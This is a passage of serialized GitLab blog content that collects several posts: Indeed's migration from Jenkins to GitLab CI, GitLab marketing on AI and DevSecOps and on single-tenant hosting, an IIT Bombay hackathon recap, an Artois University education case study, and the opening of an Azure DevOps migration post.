across the organization.\n\nAutomatic migration for most projects was not possible, but we discovered it could work for a small subset of projects where customization was rare. We created a Sourcegraph batch change campaign to submit merge requests to migrate hundreds of projects, and poked and prodded our users to accept these MRs.\n\nWe took success stories from our users and shared them widely. As users contributed new features to our golden paths, we advertised that these features \"came free\" when you migrated to GitLab CI. Some examples included built-in security and compliance scanning, Slack notifications for CI builds, and integrations with other internal systems.\n\nWe also conducted a campaign of aggressive \"scream tests.\" We automatically disabled Jenkins jobs that hadn't run or succeeded in a while, and told users that if they needed them, they could turn them back on. This was a low-friction way to identify which jobs were actually needed. We had thousands of jobs that hadn't been run a single time since our last CI migration (which was Jenkins to Jenkins). This told us we could safely ignore almost all of them.\n\nIn January 2024, we nudged our users by announcing that all Jenkins controllers would become read-only (no builds) unless an exception was explicitly requested. We had much better ownership information for controllers and they generally aligned with our organization's structure, so it made sense to focus on controllers rather than jobs. The list of controllers was also a much more manageable list than the list of jobs.\n\nTo obtain an exception, we asked our users to find their controllers in a spreadsheet and put their contact information next to each one. This enabled us to get a guaranteed up-to-date list of stakeholders we could follow up with as we sprinted to the finish line, but also enabled users to clearly let us know which jobs they absolutely needed. At peak, we had about 400 controllers; by January we had 220, but only 54 controllers required exceptions (several of them owned by us, to run our tests and canaries).\n\n![Indeed - Jenkins Controller Count graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWe had a manageable list of around 50 teams we divided among our team and started doing outreach to understand how each team was progressing with the migration. We spent January and February discovering that some teams planned to finish their migration without our help before February 28 others were planning to deprecate their projects before then, and a very small number were very worried they wouldn't make it.\n\nWe were able to work with this smaller set of teams and provide them with “white-glove” service. We still explained that while we lacked the expertise necessary to do the migration for them, we could partner with a subject matter expert from their team. For some projects, we wrote and they reviewed; for others, they wrote and we reviewed. In the end, all of our work paid off and we turned off Jenkins on the very day we had announced 8 months earlier.\n\n## The results: Enhanced CI efficiency and user satisfaction\n\nAt its peak, our Jenkins CI platform ran over 14,000 pipelines per day and serviced our thousands of projects. Today, our GitLab CI platform has run over 40,000 pipelines in a single day and regularly runs over 25,000 per day. The incremental cost of each job of each pipeline is similar to Jenkins, but without the overhead of hardware to run the controllers. Additionally, these controllers served as single points of failure and scaling limiters that forced us to artificially divide our platform into segments. While an apples-to-apples comparison is difficult, we find that with this overhead gone our CI hardware costs are 10-20% lower. Additionally, the support burden of GitLab CI is lower since the application automatically scales in the cloud, has cross-availability-zone resiliency, and the templating language has excellent public documentation available.\n\nA benefit just as important, if not moreso, is that now we are at over 70% adoption of our golden paths. This means that we can roll out an improvement and over 5,000 projects at Indeed will benefit immediately with no action required on their part. This has enabled us to move some jobs to more cost-effective ARM64 instances, keep users' build images updated more easily, and better manage other cost saving opportunities. Most importantly, our users are happier with the new platform.\n\n__About the author:__\n*Carl Myers lives in Sacramento, CA, and is the manager of the CI Platform team at Indeed. Carl has spent his nearly two-decade career dedicated to building internal tools and developer platforms that delight and empower engineers at companies large and small.*\n\n**Acknowledgements:**\n*This migration would not have been possible without the tireless efforts of Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen, and the rest of the CI Platform team. The team also especially appreciates the leadership of Deepak Bitragunta, and Irina Tyree for helping secure buy-in, resources and company wide alignment throughout this long project. Finally, our thanks go out to everyone across Indeed who contributed code, feedback, bug reports, and helped migrate projects.*\n\n**This is an edited version of the article [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), originally published on the Indeed engineering blog.**",[931,89,955,505],"user stories",{"slug":957,"featured":13,"template":810},"how-indeed-transformed-its-ci-platform-with-gitlab",{"category":537,"slug":540,"posts":959},[960,972,983],{"content":961,"config":970},{"description":962,"authors":963,"heroImage":965,"date":966,"title":967,"body":968,"category":540,"tags":969},"AI-generated code is 34% of development work. Discover how to balance productivity gains with quality, reliability, and security.",[964],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1767982271/e9ogyosmuummq7j65zqg.png","2026-01-08","AI is reshaping DevSecOps: Attend GitLab Transcend to see what’s next","AI promises a step change in innovation velocity, but most software teams are hitting a wall. According to our latest [Global DevSecOps Report](https://about.gitlab.com/developer-survey/), AI-generated code now accounts for 34% of all development work. Yet 70% of DevSecOps professionals report that AI is making compliance management more difficult, and 76% say agentic AI will create unprecedented security challenges.\n\nThis is the AI paradox: AI accelerates coding, but software delivery slows down as teams struggle to test, secure, and deploy all that code.\n\n## Productivity gains meet workflow bottlenecks\nThe problem isn't AI itself. It's how software gets built today. The traditional DevSecOps lifecycle contains hundreds of small tasks that developers must navigate manually: updating tickets, running tests, requesting reviews, waiting for approvals, fixing merge conflicts, addressing security findings. These tasks drain an average of seven hours per week from every team member, according to our research.\n\nDevelopment teams are producing code faster than ever, but that code still crawls through fragmented toolchains, manual handoffs, and disconnected processes. In fact, 60% of DevSecOps teams use more than five tools for software development overall, and 49% use more than five AI tools. This fragmentation creates collaboration barriers, with 94% of DevSecOps professionals experiencing factors that limit collaboration in the software development lifecycle.\n\nThe answer isn't more tools. It's intelligent orchestration that brings software teams and their AI agents together across projects and release cycles, with enterprise-grade security, governance, and compliance built in.\n\n## Seeking deeper human-AI partnerships\nDevSecOps professionals don't want AI to take over — they want reliable partnerships. The vast majority (82%) say using agentic AI would increase their job satisfaction, and 43% envision an ideal future with a 50/50 split between human and AI contributions. They're ready to trust AI with 37% of their daily tasks without human review, particularly for documentation, test writing, and code reviews.\n\nWhat we heard resoundingly from DevSecOps professionals is that AI won't replace them; rather, it will fundamentally reshape their roles. 83% of DevSecOps professionals believe AI will significantly change their work within five years, and notably, 76% think this will create more engineering jobs, not fewer. As coding becomes easier with AI, engineers who can architect systems, ensure quality, and apply business context will be in high demand.\n\nCritically, 88% agree there are essential human qualities that AI will never fully replace, including creativity, innovation, collaboration, and strategic vision.\n\nSo how can organizations bridge the gap between AI’s promise and the reality of fragmented workflows?\n\n## Join us at GitLab Transcend: Explore how to drive real value with agentic AI\nOn February 10, 2026, GitLab will be hosting Transcend, where we'll reveal how intelligent orchestration transforms AI-powered software development. You'll get a first look at GitLab's upcoming product roadmap and learn how teams are solving real-world challenges by modernizing development workflows with AI.\n\nOrganizations winning in this new era balance AI adoption with security, compliance, and platform consolidation. AI offers genuine productivity gains when implemented thoughtfully — not by replacing human developers, but by freeing DevSecOps professionals to focus on strategic thinking and creative innovation.\n\n[Register for Transcend today](https://about.gitlab.com/events/transcend/virtual/) to secure your spot and discover how intelligent orchestration can help your software teams stay in flow.",[693,851,785],{"featured":13,"template":810,"slug":971},"ai-is-reshaping-devsecops-attend-gitlab-transcend-to-see-whats-next",{"content":973,"config":981},{"title":974,"description":975,"authors":976,"heroImage":800,"date":978,"body":979,"category":540,"tags":980},"Atlassian ending Data Center as GitLab maintains deployment choice","As Atlassian transitions Data Center customers to cloud-only, GitLab presents a menu of deployment choices that map to business needs.",[977],"Emilio Salvador","2025-10-07","Change is never easy, especially when it's not your choice. Atlassian's announcement that [all Data Center products will reach end-of-life by March 28, 2029](https://www.atlassian.com/blog/announcements/atlassian-ascend), means thousands of organizations must now reconsider their DevSecOps deployment and infrastructure. But you don't have to settle for deployment options that don't fit your needs. GitLab maintains your freedom to choose — whether you need self-managed for compliance, cloud for convenience, or hybrid for flexibility — all within a single AI-powered DevSecOps platform that respects your requirements.\n\nWhile other vendors force migrations to cloud-only architectures, GitLab remains committed to supporting the deployment choices that match your business needs. Whether you're managing sensitive government data, operating in air-gapped environments, or simply prefer the control of self-managed deployments, we understand that one size doesn't fit all.\n\n## The cloud isn't the answer for everyone\n\nFor the many companies that invested millions of dollars in Data Center deployments, including those that migrated to Data Center [after its Server products were discontinued](https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/), this announcement represents more than a product sunset. It signals a fundamental shift away from customer-centric architecture choices, forcing enterprises into difficult positions: accept a deployment model that doesn't fit their needs, or find a vendor that respects their requirements.\n\nMany of the organizations requiring self-managed deployments represent some of the world's most important organizations: healthcare systems protecting patient data, financial institutions managing trillions in assets, government agencies safeguarding national security, and defense contractors operating in air-gapped environments.\n\nThese organizations don't choose self-managed deployments for convenience; they choose them for compliance, security, and sovereignty requirements that cloud-only architectures simply cannot meet. Organizations operating in closed environments with restricted or no internet access aren't exceptions — they represent a significant portion of enterprise customers across various industries.\n\n![GitLab vs. Atlassian comparison table](https://res.cloudinary.com/about-gitlab-com/image/upload/v1759928476/ynl7wwmkh5xyqhszv46m.jpg)\n\n## The real cost of forced cloud migration goes beyond dollars\n\nWhile cloud-only vendors frame mandatory migrations as \"upgrades,\" organizations face substantial challenges beyond simple financial costs:\n\n* **Lost integration capabilities:** Years of custom integrations with legacy systems, carefully crafted workflows, and enterprise-specific automations become obsolete. Organizations with deep integrations to legacy systems often find cloud migration technically infeasible.\n\n* **Regulatory constraints:** For organizations in regulated industries, cloud migration isn't just complex — it's often not permitted. Data residency requirements, air-gapped environments, and strict regulatory frameworks don't bend to vendor preferences. The absence of single-tenant solutions in many cloud-only approaches creates insurmountable compliance barriers.\n\n* **Productivity impacts:** Cloud-only architectures often require juggling multiple products: separate tools for planning, code management, CI/CD, and documentation. Each tool means another context switch, another integration to maintain, another potential point of failure. GitLab research shows [30% of developers spend at least 50% of their job maintaining and/or integrating their DevSecOps toolchain](https://about.gitlab.com/developer-survey/). Fragmented architectures exacerbate this challenge rather than solving it.\n\n## GitLab offers choice, commitment, and consolidation\n\nEnterprise customers deserve a trustworthy technology partner. That's why we've committed to supporting a range of deployment options — whether you need on-premises for compliance, hybrid for flexibility, or cloud for convenience, the choice remains yours. That commitment continues with [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI solution that supports developers at every stage of their workflow.\n\nBut we offer more than just deployment flexibility. While other vendors might force you to cobble together their products into a fragmented toolchain, GitLab provides everything in a **comprehensive AI-native DevSecOps platform**. Source code management, CI/CD, security scanning, Agile planning, and documentation are all managed within a single application and a single vendor relationship.\n\nThis isn't theoretical. When Airbus and [Iron Mountain](https://about.gitlab.com/customers/iron-mountain/) evaluated their existing fragmented toolchains, they consistently identified challenges: poor user experience, missing functionalities like built-in security scanning and review apps, and management complexity from plugin troubleshooting. **These aren't minor challenges; they're major blockers for modern software delivery.**\n\n## Your migration path: Simpler than you think\n\nWe've helped thousands of organizations migrate from other vendors, and we've built the tools and expertise to make your transition smooth:\n\n* **Automated migration tools:** Our [Bitbucket Server importer](https://docs.gitlab.com/user/project/import/bitbucket_server/) brings over repositories, pull requests, comments, and even Large File Storage (LFS) objects. For Jira, our [built-in importer](https://docs.gitlab.com/user/project/import/jira/) handles issues, descriptions, and labels, with professional services available for complex migrations.\n\n* **Proven at scale:** A 500 GiB repository with 13,000 pull requests, 10,000 branches, and 7,000 tags is likely to [take just 8 hours to migrate](https://docs.gitlab.com/user/project/import/bitbucket_server/) from Bitbucket to GitLab using parallel processing.\n\n* **Immediate ROI:** A [Forrester Consulting Total Economic Impact™ study commissioned by GitLab](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/) found that investing in GitLab Ultimate confirms these benefits translate to real bottom-line impact, with a three-year 483% ROI, 5x time saved in security related activities, and 25% savings in software toolchain costs.\n\n## Start your journey to a unified DevSecOps platform\n\nForward-thinking organizations aren't waiting for vendor-mandated deadlines. They're evaluating alternatives now, while they have time to migrate thoughtfully to platforms that protect their investments and deliver on promises.\n\nOrganizations invest in self-managed deployments because they need control, compliance, and customization. When vendors deprecate these capabilities, they remove not just features but the fundamental ability to choose environments matching business requirements.\n\nModern DevSecOps platforms should offer complete functionality that respects deployment needs, consolidates toolchains, and accelerates software delivery, without forcing compromises on security or data sovereignty.\n\n[Talk to our sales team](https://about.gitlab.com/sales/) today about your migration options, or explore our [comprehensive migration resources](https://about.gitlab.com/move-to-gitlab-from-atlassian/) to see how thousands of organizations have already made the switch.\n\nYou also can [try GitLab Ultimate with GitLab Duo Enterprise](https://about.gitlab.com/free-trial/devsecops/) for free for 30 days to see what a unified DevSecOps platform can do for your organization.",[545,537,774,805],{"featured":13,"template":810,"slug":982},"atlassian-ending-data-center-as-gitlab-maintains-deployment-choice",{"content":984,"config":994},{"title":985,"description":986,"authors":987,"heroImage":990,"date":991,"category":540,"tags":992,"body":993},"Why financial services choose single-tenant SaaS","Discover how GitLab Dedicated can help financial services organizations achieve compliant DevSecOps without compromising performance.",[988,989],"George Kichukov","Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png","2025-08-14",[599,851],"Walk into any major financial institution and you'll see the contradiction immediately. Past the armed guards, through the biometric scanners, beyond the reinforced walls and multiple security checkpoints, you'll find developers building the algorithms that power global finance — on shared infrastructure alongside millions of strangers.\n\nThe software powering today's financial institutions is anything but ordinary. It includes credit risk models that protect billions in assets, payment processing algorithms handling millions of transactions, customer intelligence platforms that drive business strategy, and regulatory systems ensuring operational compliance  — all powered by source code that serves as both operational core and strategic asset.\n\n## When shared infrastructure becomes systemic risk\n\nThe rise of software-as-a-service platforms has created an uncomfortable reality for financial institutions. Every shared tenant becomes an unmanaged third-party risk, turning platform-wide incidents into industry-wide disruptions. This is the exact kind of concentration risk drawing increasing attention from regulators.\n\nJPMorgan Chase's Chief Information Security Officer Patrick Opet recently issued a stark warning to the industry in an [open letter](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) to third-party suppliers. He highlighted how SaaS adoption \"is creating a substantial vulnerability that is weakening the global economic system\" by embedding \"concentration risk into global critical infrastructure.\" The letter emphasizes that \"an attack on one major SaaS or PaaS provider can immediately ripple through its customers,” creating exactly the systemic risk that multi-tenant cloud platforms for source code management, CI builds, CD deployments, and security scanning introduce.\n\nConsider the regulatory complexity this creates. In shared environments, your compliance posture becomes hostage to potential incidents impacting other tenants as well as the concentration risks of large attack surface providers. A misconfiguration affecting any organization on the platform can trigger wider impact across the entire ecosystem. \n\nData sovereignty challenges compound this risk. Shared platforms distribute workloads across multiple regions and jurisdictions, often without granular control over where your source code executes. For institutions operating under strict regulatory requirements, this geographic distribution can create compliance gaps that are difficult to remediate.\n\nThen there's the amplification effect. Every shared tenant effectively becomes an indirect third-party risk to your operations. Their vulnerabilities increase your attack surface. Their incidents can impact your availability. Their compromises can affect your environment.\n\n## Purpose-built for what matters most\n\nGitLab recognizes that your source code deserves the same security posture as your most sensitive customer data. Rather than forcing you to choose between cloud-scale efficiency and enterprise-grade security, GitLab delivers both through [GitLab Dedicated](https://about.gitlab.com/dedicated/), purpose-built infrastructure that maintains complete isolation.\n\nYour development workflows, source code [repositories](https://docs.gitlab.com/user/project/repository/), and [CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) run in an environment exclusively dedicated to your organization. The [hosted runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) for GitLab Dedicated exemplify this approach. These runners connect securely to your data center through outbound private links, allowing access to your private services without exposing any traffic to the public internet. The [auto-scaling architecture](https://docs.gitlab.com/runner/runner_autoscale/) provides the performance you need, without compromising security or control. \n \n## Rethinking control\n\nFor financial institutions, minimizing shared risk is only part of the equation — true resilience requires precise control over how systems operate, scale, and comply with regulatory frameworks. GitLab Dedicated enables comprehensive data sovereignty through multiple layers of customer control. You maintain complete authority over [encryption keys](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) through [bring-your-own-key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok) capabilities, ensuring that sensitive source code and configuration data remains accessible only to your organization. Even GitLab cannot access your encrypted data without your keys.\n\n[Data residency](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) becomes a choice rather than a constraint. You select your preferred AWS region to meet regulatory requirements and organizational data governance policies, maintaining full control over where your sensitive source code and intellectual property are stored.\n\nThis control extends to [compliance frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) that financial institutions require. The platform provides [comprehensive audit trails](https://docs.gitlab.com/user/compliance/audit_events/) and logging capabilities that support compliance efforts for financial services regulations like [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) and [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act).\n\nWhen compliance questions arise, you work directly with GitLab's dedicated support team — experienced professionals who understand the regulatory challenges that organizations in highly regulated industries face.\n\n## Operational excellence without operational overhead\n\nGitLab Dedicated maintains [high availability](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) with [built-in disaster recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), ensuring your development operations remain resilient even during infrastructure failures. The dedicated resources scale with your organization's needs without the performance variability that shared environments introduce.\n\nThe [zero-maintenance approach](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) to CI/CD infrastructure eliminates a significant operational burden. Your teams focus on development while GitLab manages the underlying infrastructure, auto-scaling, and maintenance — including rapid security patching to protect your critical intellectual property from emerging threats. This operational efficiency doesn't come at the cost of security: the dedicated infrastructure provides enterprise-grade controls while delivering cloud-scale performance.\n\n## The competitive reality\n\nWhile some institutions debate infrastructure strategies, industry leaders are taking decisive action. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), one of the UK's largest financial institutions, chose GitLab Dedicated to transform their engineering capabilities:\n\n> *\"NatWest Group is adopting GitLab Dedicated to enable our engineers to use a common cloud engineering platform; delivering new customer outcomes rapidly, frequently and securely with high quality, automated testing, on demand infrastructure and straight-through deployment. This will significantly enhance collaboration, improve developer productivity and unleash creativity via a 'single-pane-of-glass' for software development.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## The strategic choice\n\nThe most successful financial institutions face a unique challenge: They have the most to lose from shared infrastructure risks, but also the resources to architect better solutions. \n\n**The question that separates industry leaders from followers:** Will you accept shared infrastructure risks as the price of digital transformation, or will you invest in infrastructure that treats your source code with the strategic importance it deserves?\n\nYour trading algorithms aren't shared. Your risk models aren't shared. Your customer data isn't shared.\n\n**Why is your development platform shared?**\n\n*Ready to treat your source code like the strategic asset it is? [Let’s chat](https://about.gitlab.com/solutions/finance/) about how GitLab Dedicated provides the security, compliance, and performance that financial institutions demand — without the compromises of shared infrastructure.*",{"featured":679,"template":810,"slug":995},"why-financial-services-choose-single-tenant-saas",{"category":737,"slug":739,"posts":997},[998,1009,1020],{"content":999,"config":1007},{"title":1000,"description":1001,"authors":1002,"heroImage":1004,"date":966,"category":739,"tags":1005,"body":1006},"How IIT Bombay students are coding the future with GitLab","At GitLab, we often talk about how software accelerates innovation. But sometimes, you have to step away from the Zoom calls and stand in a crowded university hall to remember why we do this.",[1003],"Nick Veenhof","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099013/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2814%29_6VTUA8mUhOZNDaRVNPeKwl_1750099012960.png",[242,594,930],"The GitLab team recently had the privilege of judging the **iHack Hackathon** at **IIT Bombay's E-Summit**. The energy was electric, the coffee was flowing, and the talent was undeniable. But what struck us most wasn't just the code — it was the sheer determination of students to solve real-world problems, often overcoming significant logistical and financial hurdles to simply be in the room.\n\n\nThrough our [GitLab for Education program](https://about.gitlab.com/solutions/education/), we aim to empower the next generation of developers with tools and opportunity. Here is a look at what the students built, and how they used GitLab to bridge the gap between idea and reality.\n\n## The challenge: Build faster, build securely\n\nThe premise for the GitLab track of the hackathon was simple: Don't just show us a product; show us how you built it. We wanted to see how students utilized GitLab's platform — from Issue Boards to CI/CD pipelines — to accelerate the development lifecycle.\n\nThe results were inspiring.\n\n## The winners\n\n### 1st place: Team Decode — Democratizing Scientific Research\n\n**Project:** FIRE (Fast Integrated Research Environment)\n\nTeam Decode took home the top prize with a solution that warms a developer's heart: a local-first, blazing-fast data processing tool built with [Rust](https://about.gitlab.com/blog/secure-rust-development-with-gitlab/) and Tauri. They identified a massive pain point for data science students: existing tools are fragmented, slow, and expensive.\n\nTheir solution, FIRE, allows researchers to visualize complex formats (like NetCDF) instantly. What impressed the judges most was their \"hacker\" ethos. They didn't just build a tool; they built it to be open and accessible.\n\n**How they used GitLab:** Since the team lived far apart, asynchronous communication was key. They utilized **GitLab Issue Boards** and **Milestones** to track progress and integrated their repo with Telegram to get real-time push notifications. As one team member noted, \"Coordinating all these technologies was really difficult, and what helped us was GitLab... the Issue Board really helped us track who was doing what.\"\n\n![Team Decode](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767380253/epqazj1jc5c7zkgqun9h.jpg)\n\n### 2nd place: Team BichdeHueDost — Reuniting to Solve Payments\n\n**Project:** SemiPay (RFID Cashless Payment for Schools)\n\nThe team name, BichdeHueDost, translates to \"Friends who have been set apart.\" It's a fitting name for a group of friends who went to different colleges but reunited to build this project. They tackled a unique problem: handling cash in schools for young children. Their solution used RFID cards backed by a blockchain ledger to ensure secure, cashless transactions for students.\n\n**How they used GitLab:** They utilized [GitLab CI/CD](https://about.gitlab.com/topics/ci-cd/) to automate the build process for their Flutter application (APK), ensuring that every commit resulted in a testable artifact. This allowed them to iterate quickly despite the \"flaky\" nature of cross-platform mobile development.\n\n![Team BichdeHueDost](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767380253/pkukrjgx2miukb6nrj5g.jpg)\n\n### 3rd place: Team ZenYukti — Agentic Repository Intelligence\n\n**Project:** RepoInsight AI (AI-powered, GitLab-native intelligence platform)\n\nTeam ZenYukti impressed us with a solution that tackles a universal developer pain point: understanding unfamiliar codebases. What stood out to the judges was the tool's practical approach to onboarding and code comprehension: RepoInsight-AI automatically generates documentation, visualizes repository structure, and even helps identify bugs, all while maintaining context about the entire codebase.\n\n**How they used GitLab:** The team built a comprehensive CI/CD pipeline that showcased GitLab's security and DevOps capabilities. They integrated [GitLab's Security Templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Security) (SAST, Dependency Scanning, and Secret Detection), and utilized [GitLab Container Registry](https://docs.gitlab.com/user/packages/container_registry/) to manage their Docker images for backend and frontend components. They created an AI auto-review bot that runs on merge requests, demonstrating an \"agentic workflow\" where AI assists in the development process itself.\n\n![Team ZenYukti](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767380253/ymlzqoruv5al1secatba.jpg)\n\n## Beyond the code: A lesson in inclusion\n\nWhile the code was impressive, the most powerful moment of the event happened away from the keyboard.\n\nDuring the feedback session, we learned about the journey Team ZenYukti took to get to Mumbai. They traveled over 24 hours, covering nearly 1,800 kilometers. Because flights were too expensive and trains were booked, they traveled in the \"General Coach,\" a non-reserved, severely overcrowded carriage.\n\nAs one student described it:\n\n*\"You cannot even imagine something like this... there are no seats... people sit on the top of the train. This is what we have endured.\"*\n\nThis hit home. [Diversity, Inclusion, and Belonging](https://handbook.gitlab.com/handbook/company/culture/inclusion/) are core values at GitLab. We realized that for these students, the barrier to entry wasn't intellect or skill, it was access.\n\nIn that moment, we decided to break that barrier. We committed to reimbursing the travel expenses for the participants who struggled to get there. It's a small step, but it underlines a massive truth: **talent is distributed equally, but opportunity is not.**\n\n![hackathon class together](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767380252/o5aqmboquz8ehusxvgom.jpg)\n\n### The future is bright (and automated)\n\nWe also saw incredible potential in teams like Prometheus, who attempted to build an autonomous patch remediation tool (DevGuardian), and Team Arrakis, who built a voice-first job portal for blue-collar workers using [GitLab Duo](https://about.gitlab.com/gitlab-duo/) to troubleshoot their pipelines.\n\nTo all the students who participated: You are the future. Through [GitLab for Education](https://about.gitlab.com/solutions/education/), we are committed to providing you with the top-tier tools (like GitLab Ultimate) you need to learn, collaborate, and change the world — whether you are coding from a dorm room, a lab, or a train carriage. **Keep shipping.**\n\n> :bulb: Learn more about the [GitLab for Education program](https://about.gitlab.com/solutions/education/).\n",{"slug":1008,"featured":679,"template":810},"how-iit-bombay-students-code-future-with-gitlab",{"content":1010,"config":1018},{"title":1011,"description":1012,"authors":1013,"heroImage":1014,"date":1015,"category":739,"tags":1016,"body":1017},"Artois University elevates research and curriculum with GitLab Ultimate for Education","Artois University's CRIL leveraged the GitLab for Education program to gain free access to Ultimate, transforming advanced research and computer science curricula.",[1003],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099203/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2820%29_2bJGC5ZP3WheoqzlLT05C5_1750099203484.png","2025-12-10",[594,242,774],"Leading academic institutions face a critical challenge: how to provide thousands of students and researchers with industry-standard, **full-featured DevSecOps tools** without compromising institutional control. Many start with basic version control, but the modern curriculum demands integrated capabilities for planning, security, and advanced CI/CD.\n\nThe **GitLab for Education program** is designed to solve this by providing access to **GitLab Ultimate** for qualifying institutions, allowing them to scale their operations and elevate their academic offerings. \n\nThis article showcases a powerful success story from the **Centre de Recherche en Informatique de Lens (CRIL)**, a joint laboratory of **Artois University** and CNRS in France. After years of relying solely on GitLab Community Edition (CE), the university's move to GitLab Ultimate through the GitLab for Education program immediately unlocked advanced capabilities, transforming their teaching, research, and contribution workflows virtually overnight. This story demonstrates why GitLab Ultimate is essential for institutions seeking to deliver advanced computer science and research curricula.\n\n## GitLab Ultimate unlocked: Managing scale and driving academic value\n\n**Artois University's** self-managed GitLab instance is a large-scale operation, supporting nearly **3,000 users** across approximately **19,000 projects**, primarily serving computer science students and researchers. While GitLab Community Edition was robust, the upgrade to GitLab Ultimate provided the sophisticated tooling necessary for managing this scale and facilitating advanced university-level work.\n\n***\"We can see the difference,\" says Daniel Le Berre, head of research at CRIL and the instance maintainer. \"It's a completely different product. Each week reveals new features that directly enhance our productivity and teaching.\"***\n\nThe institution joined the GitLab for Education program specifically because it covers both **instructional and non-commercial research use cases** and offers full access to Ultimate's features, removing significant cost barriers.\n\n### Key GitLab Ultimate benefits for students and researchers\n\n* **Advanced project management at scale:** Master's students now benefit from **GitLab Ultimate's project planning features**. This enables them to structure, track, and manage complex, long-term research projects using professional methodologies like portfolio management and advanced issue tracking that seamlessly roll up across their thousands of projects.\n\n* **Enhanced visibility:** Features like improved dashboards and code previews directly in Markdown files dramatically streamline tracking and documentation review, reducing administrative friction for both instructors and students managing large project loads.\n\n## Comprehensive curriculum: From concepts to continuous delivery\n\nGitLab Ultimate is deeply integrated into the computer science curriculum, moving students beyond simple `git` commands to practical **DevSecOps implementation**.\n\n* **Git fundamentals:** Students begin by visualizing concepts using open-source tools to master Git concepts.\n\n* **Full CI/CD implementation:** Students use GitLab CI for rigorous **Test-Driven Development (TDD)** in their software projects. They learn to build, test, and perform quality assurance using unit and integration testing pipelines—core competency made seamless by the integrated platform.\n\n* **DevSecOps for research and documentation:** The university teaches students that DevSecOps principles are vital for all collaborative work. Inspired by earlier work in Delft, students manage and produce critical research documentation (PDFs from Markdown files) using GitLab, incorporating quality checks like linters and spell checks directly in the CI pipeline. This ensures high-quality, reproducible research output.\n\n* **Future-proofing security skills:** The GitLab Ultimate platform immediately positions the institution to incorporate advanced DevSecOps features like SAST and DAST scanning as their research and development code projects grow, ensuring students are prepared for industry security standards.\n\n## Accelerating open source contributions with GitLab Duo\n\nAccess to the full GitLab platform, including our AI capabilities, has empowered students to make impactful contributions to the wider open source community faster than ever before.\n\nTwo Master's students recently completed direct contributions to the GitLab product, adding the **ORCID identifier** into user profiles. Working on GitLab.com, they leveraged **GitLab Duo's AI chat and code suggestions** to navigate the codebase efficiently.\n\n***\"This would not have been possible without GitLab Duo,\" Daniel Le Berre notes. \"The AI features helped students, who might have lacked deep codebase knowledge, deliver meaningful contributions in just two weeks.\"***\n\nThis demonstrates how providing students with cutting-edge tools **accelerates their learning and impact**, allowing them to translate classroom knowledge into real-world contributions immediately.\n\n## Empowering open research and institutional control\n\nThe stability of the self-managed instance at Artois University is key to its success. This model guarantees **institutional control and stability** — a critical factor for long-term research preservation.\n\nThe institution's expertise in this area was recently highlighted in a major 2024 study led by CRIL, titled: \"[Higher Education and Research Forges in France - Definition, uses, limitations encountered and needs analysis](https://hal.science/hal-04208924v4)\" ([Project on GitLab](https://gitlab.in2p3.fr/coso-college-codes-sources-et-logiciels/forges-esr-en)). The research found that the vast majority of public forges in French Higher Education and Research relied on **GitLab**. This finding underscores the consensus among academic leaders that self-hosted solutions are essential for **data control and longevity**, especially when compared to relying on external, commercial forges.\n\n## Unlock GitLab Ultimate for your institution today\n\nThe success story of **Artois University's CRIL** proves the transformative power of the GitLab for Education program. By providing **free access to GitLab Ultimate**, we enable large-scale institutions to:\n\n1.  **Deliver a modern, integrated DevSecOps curriculum.**\n\n2.  **Support advanced, collaborative research projects with Ultimate planning features.**\n\n3.  **Empower students to make AI-assisted open source contributions.**\n\n4.  **Maintain institutional control and data longevity.**\n\nIf your academic institution is ready to equip its students and researchers with the complete DevSecOps platform and its most advanced features, we invite you to join the program.\n\nThe program provides **free access to GitLab Ultimate** for qualifying instructional and non-commercial research use cases.\n\n**Apply now [online](https://about.gitlab.com/solutions/education/join/).**\n",{"slug":1019,"featured":13,"template":810},"artois-university-elevates-curriculum-with-gitlab-ultimate-for-education",{"content":1021,"config":1033},{"category":739,"tags":1022,"body":1024,"date":1025,"updatedDate":1026,"heroImage":1027,"authors":1028,"title":1031,"description":1032},[836,1023,89],"git","\nEnterprise teams are increasingly migrating from Azure DevOps to GitLab to gain strategic advantages and accelerate secure software delivery. \n\n\n- GitLab comes with integrated controls, policies, and [compliance frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) that allow organizations to implement software delivery standards at scale. This is especially important for regulated industries.\n\n- [Security testing](https://docs.gitlab.com/user/application_security/) is embedded in the pipeline and results show in the developer workflow, including static application security testing 